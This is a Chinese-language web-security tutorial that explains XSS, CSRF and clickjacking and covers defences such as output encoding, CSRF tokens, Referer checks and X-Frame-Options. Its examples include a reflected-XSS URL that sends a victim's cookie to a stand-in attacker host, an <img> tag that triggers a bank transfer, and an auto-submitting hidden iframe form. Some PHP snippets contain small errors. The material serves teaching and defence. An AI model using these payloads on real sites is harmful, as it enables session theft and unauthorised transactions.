關於Web安全的三個攻防姿勢
關於Web安全的問題,是一個老生常談的問題,作為離用戶最近的一層,我們大前端確實需要把手伸的更遠一點。
我們最常見的Web安全攻擊有以下幾種
- XSS 跨站腳本攻擊
- CSRF 跨站請求偽造
- clickjacking 點擊劫持/UI-覆蓋攻擊
下麵我們來一一分析
XSS 跨站腳本攻擊
跨站腳本攻擊(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁麵裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏麵的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
分類
- Reflected XSS(基於反射的XSS攻擊)
- Stored XSS(基於存儲的XSS攻擊)
- DOM-based or local XSS(基於DOM或本地的XSS攻擊)
Reflected XSS(基於反射的XSS攻擊)
主要通過利用係統反饋行為漏洞,並欺騙用戶主動觸發,從而發起Web攻擊。
舉個栗子:
1. 假設,在嚴選網站搜索商品,當搜索不到時站點會做“xxx未上架提示”。如下圖。
2. 在搜索框搜索內容,填入“<script>alert('xss')</script>”, 點擊搜索。
3. 當前端頁麵沒有對填入的數據進行過濾,直接顯示在頁麵上, 這時就會alert那個字符串出來。
(當然上圖是模擬的)
以上3步隻是“自娛自樂”,XSS最關鍵的是第四步。
4. 進而可以構造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:
- https://you.163.com/search?keyword=<script>document.location='https://xss.com/get?cookie='+document.cookie</script>
如果受騙的用戶剛好已經登錄過嚴選網站,那麼,用戶的登錄cookie信息就已經發到了攻擊者的服務器(xss.com)了。當然,攻擊者會做一些更過分的操作。
Stored XSS(基於存儲的XSS攻擊)
Stored XSS和Reflected XSS的差別就在於,具有攻擊性的腳本被保存到了服務器並且可以被普通用戶完整的從服務的取得並執行,從而獲得了在網絡上傳播的能力。
再舉個栗子:
1. 發一篇文章,裏麵包含了惡意腳本
你好!當你看到這段文字時,你的信息已經不安全了!<script>alert('xss')</script>
2. 後端沒有對文章進行過濾,直接保存文章內容到數據庫。
3. 當其他讀者看這篇文章的時候,包含的惡意腳本就會執行。
tips:文章是保存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。
此為題多從在於博客網站。
如果我們的操作不僅僅是彈出一個信息,而且刪除一篇文章,發一篇反動的文章,或者成為我的粉絲並且將這篇帶有惡意腳本的文章轉發,這樣是不是就具有了攻擊性。
DOM-based or local XSS(基於DOM或本地的XSS攻擊)
DOM,全稱Document Object Model,是一個平台和語言都中立的接口,可以使程序和腳本能夠動態訪問和更新文檔的內容、結構以及樣式。
DOM型XSS其實是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞。可以通過DOM來動態修改頁麵內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就可以利用JS腳本來實現XSS漏洞的利用。
可能觸發DOM型XSS的屬性:
document.referer屬性
window.name屬性
location屬性
innerHTML屬性
documen.write屬性
······
總結
XSS攻擊的本質就是,利用一切手段在目標用戶的瀏覽器中執行攻擊腳本。
防範
對於一切用戶的輸入、輸出、客戶端的輸出內容視為不可信,在數據添加到DOM或者執行了DOM API的時候,我們需要對內容進行HtmlEncode或JavaScriptEncode,以預防XSS攻擊。
CSRF 跨站請求偽造
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。但往往同XSS一同作案!
此下的詳解部分轉自hyddd的博文https://www.cnblogs.com/hyddd/...,示例寫的很讚就部分謄抄至此,並做了一定的修改,向作者hyddd致敬&致謝。
CSRF可以做什麼?
你這可以這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發送惡意請求。CSRF能夠做的事情包括:以你名義發送郵件,發消息,盜取你的賬號,甚至於購買商品,虛擬貨幣轉賬......造成的問題包括:個人隱私泄露以及財產安全。
CSRF漏洞現狀
CSRF這種攻擊方式在2000年已經被國外的安全人員提出,但在國內,直到06年才開始被關注,08年,國內外的多個大型社區和交互網站分別爆出CSRF漏洞,如:NYTimes.com(紐約時報)、Metafilter(一個大型的BLOG網站),YouTube和百度HI......而現在,互聯網上的許多站點仍對此毫無防備,以至於安全業界稱CSRF為“沉睡的巨人”。
CSRF的原理
下圖簡單闡述了CSRF攻擊的思想:
從上圖可以看出,要完成一次CSRF攻擊,受害者必須依次完成兩個步驟:
- 登錄受信任網站A,並在本地生成Cookie。
- 在不登出A的情況下,訪問危險網站B。
看到這裏,你也許會說:“如果我不滿足以上兩個條件中的一個,我就不會受到CSRF的攻擊”。是的,確實如此,但你不能保證以下情況不會發生:
- 你不能保證你登錄了一個網站後,不再打開一個tab頁麵並訪問另外的網站。
- 你不能保證你關閉瀏覽器了後,你本地的Cookie立刻過期,你上次的會話已經結束。(事實上,關閉瀏覽器不能結束一個會話,但大多數人都會錯誤的認為關閉瀏覽器就等於退出登錄/結束會話了......)
- 上圖中所謂的攻擊網站,可能是一個存在其他漏洞的可信任的經常被人訪問的網站。
示例
上麵大概地講了一下CSRF攻擊的思想,下麵我將用幾個例子詳細說說具體的CSRF攻擊,這裏我以一個銀行轉賬的操作作為例子(僅僅是例子,真實的銀行網站沒這麼傻:>)
示例1
銀行網站A,它以GET請求來完成銀行轉賬的操作,如:https://www.mybank.com/Transfe...
危險網站B,它裏麵有一段HTML的代碼如下:
- <img src=https://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先,你登錄了銀行網站A,然後訪問危險網站B,噢,這時你會發現你的銀行賬戶少了1000塊......
為什麼會這樣呢?原因是銀行網站A違反了HTTP規範,使用GET請求更新資源。在訪問危險網站B的之前,你已經登錄了銀行網站A,而B中的<img>以GET的方式請求第三方資源(這裏的第三方就是指銀行網站了,原本這是一個合法的請求,但這裏被不法分子利用了),所以你的瀏覽器會帶上你的銀行網站A的Cookie發出Get請求,去獲取資源
- https://www.mybank.com/Transfer.php?toBankId=11&money=1000
結果銀行網站服務器收到請求後,認為這是一個更新資源操作(轉賬操作),所以就立刻進行轉賬操作......
示例2
為了杜絕上麵的問題,銀行決定改用POST請求完成轉賬操作。
銀行網站A的WEB表單如下:
- <form action="Transfer.php" method="POST">
- <p>ToBankId: <input type="text" name="toBankId" /></p>
- <p>Money: <input type="text" name="money" /></p>
- <p><input type="submit" value="Transfer" /></p>
- </form>
後台處理頁麵Transfer.php如下:
- <?php
- session_start();
- if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
- {
- buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
- }
- ?>
危險網站B,仍然隻是包含那句HTML代碼:
- <img src=https://www.mybank.com/Transfer.php?toBankId=11&money=1000>
和示例1中的操作一樣,你首先登錄了銀行網站A,然後訪問危險網站B,結果.....和示例1一樣,你再次沒了1000塊~T_T,這次事故的原因是:銀行後台使用了$_REQUEST去獲取請求的數據,而$_REQUEST既可以獲取GET請求的數據,也可以獲取POST請求的數據,這就造成了在後台處理程序無法區分這到底是GET請求的數據還是POST請求的數據。在PHP中,可以使用$_GET和$_POST分別獲取GET請求和POST請求的數據。在JAVA中,用於獲取請求數據request一樣存在不能區分GET請求數據和POST數據的問題。
示例3
經過前麵2個慘痛的教訓,銀行決定把獲取請求數據的方法也改了,改用$_POST,隻獲取POST請求的數據,後台處理頁麵Transfer.php代碼如下:
- <?php
- session_start();
- if (isset($_POST['toBankId'] && isset($_POST['money']))
- {
- buy_stocks($_POST['toBankId'], $_POST['money']);
- }
- ?>
然而,危險網站B與時俱進,它改了一下代碼:
- <html>
- <head>
- <script type="text/javascript">
- function steal()
- {
- iframe = document.frames["steal"];
- iframe.document.Submit("transfer");
- }
- </script>
- </head>
- <body onload="steal()">
- <iframe name="steal" display="none">
- <form method="POST" name="transfer" action="https://www.myBank.com/Transfer.php">
- <input type="hidden" name="toBankId" value="11">
- <input type="hidden" name="money" value="1000">
- </form>
- </iframe>
- </body>
- </html>
如果用戶仍是繼續上麵的操作,很不幸,結果將會是再次不見1000塊......因為這裏危險網站B暗地裏發送了POST請求到銀行!
總結一下上麵3個例子,CSRF主要的攻擊模式基本上是以上的3種,其中以第1,2種最為嚴重,因為觸發條件很簡單,一個<img>就可以了,而第3種比較麻煩,需要使用JavaScript,所以使用的機會會比前麵的少很多,但無論是哪種情況,隻要觸發了CSRF攻擊,後果都有可能很嚴重。
理解上麵的3種攻擊模式,其實可以看出,CSRF攻擊是源於WEB的隱式身份驗證機製!WEB的身份驗證機製雖然可以保證一個請求是來自於某個用戶的瀏覽器,但卻無法保證該請求是用戶批準發送的!
當前防禦 CSRF 的幾種策略
在業界目前防禦 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 並驗證;在 HTTP 頭中自定義屬性並驗證。下麵就分別對這三種策略進行詳細介紹。
驗證 HTTP Referer 字段
利用HTTP頭中的Referer判斷請求來源是否合法。
優點:簡單易行,隻需要在最後給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以。特別是對於當前現有的係統,不需要改變當前係統的任何已有代碼和邏輯,沒有風險,非常便捷。
缺點:
1、Referer 的值是由瀏覽器提供的,不可全信,低版本瀏覽器下Referer存在偽造風險。
2、用戶自己可以設置瀏覽器使其在發送請求時不再提供 Referer時,網站將拒絕合法用戶的訪問。
在請求地址中添加 token 並驗證
在請求中放入黑客所不能偽造的信息,並且該信息不存在於 cookie 之中,以HTTP請求參數的形式加入一個隨機產生的 token交由服務端驗證
優點:比檢查 Referer 要安全一些,並且不涉及用戶隱私。
缺點:對所有請求都添加token比較困難,難以保證 token 本身的安全,依然會被利用獲取到token
在 HTTP 頭中自定義屬性並驗證+One-Time Tokens
將token放到 HTTP 頭中自定義的屬性裏。通過 XMLHttpRequest 的異步請求交由後端校驗,並且一次有效。
優點:統一管理token輸入輸出,可以保證token的安全性
缺點:有局限性,無法在非異步的請求上實施
點擊劫持
點擊劫持,英文名clickjacking,也叫UI覆蓋攻擊,攻擊者會利用一個或多個透明或不透明的層來誘騙用戶支持點擊按鈕的操作,而實際的點擊確實用戶看不到的一個按鈕,從而達到在用戶不知情的情況下實施攻擊。
這種攻擊方式的關鍵在於可以實現頁中頁的<iframe />標簽,並且可以使用css樣式表將他不可見
如以上示意圖的藍色層,攻擊者會通過一定的手段誘惑用戶“在紅色層”輸入信息,但用戶實際上實在藍色層中,以此做欺騙行為。
拿支付寶做個栗子
上圖是支付寶手機話費充值的界麵。
再看看一下界麵
是的,這個是我偽造的,如果我將真正的充值站點隱藏在此界麵上方。我想,聰明的你已經知道clickjacking的危險性了。
上圖我估計做了一下錯位和降低透明度,是不是很有意思呢?傻傻分不清的用戶還以為是領取了獎品,其實是給陌生人充值了話費。
這種方法最常見的攻擊場景是偽造一些網站盜取帳號信息,如支付寶、QQ、網易帳號等帳號的賬密
目前,clickjacking還算比較冷門,很多安全意識不強的網站還未著手做clickjacking的防範。這是很危險的。
防範
防止點擊劫持有兩種主要方法:
X-FRAME-OPTIONS
X-FRAME-OPTIONS是微軟提出的一個http頭,指示瀏覽器不允許從其他域進行取景,專門用來防禦利用iframe嵌套的點擊劫持攻擊。並且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
這個頭有三個值:
DENY // 拒絕任何域加載
SAMEORIGIN // 允許同源域下加載
ALLOW-FROM // 可以定義允許frame加載的頁麵地址
頂層判斷
在UI中采用防禦性代碼,以確保當前幀是最頂層的窗口
方法有多中,如
top != self || top.location != self.location || top.location != location
有關Clickjacking防禦的更多信息,請參閱Clickjacking Defense Cheat Sheet.
參考
[1] 淺談CSRF攻擊方式 - https://www.cnblogs.com/hyddd/...
[2] CSRF 攻擊的應對之道 - https://www.ibm.com/developer...
本文作者:zwwill
來源:51CTO
最後更新:2017-11-02 15:34:51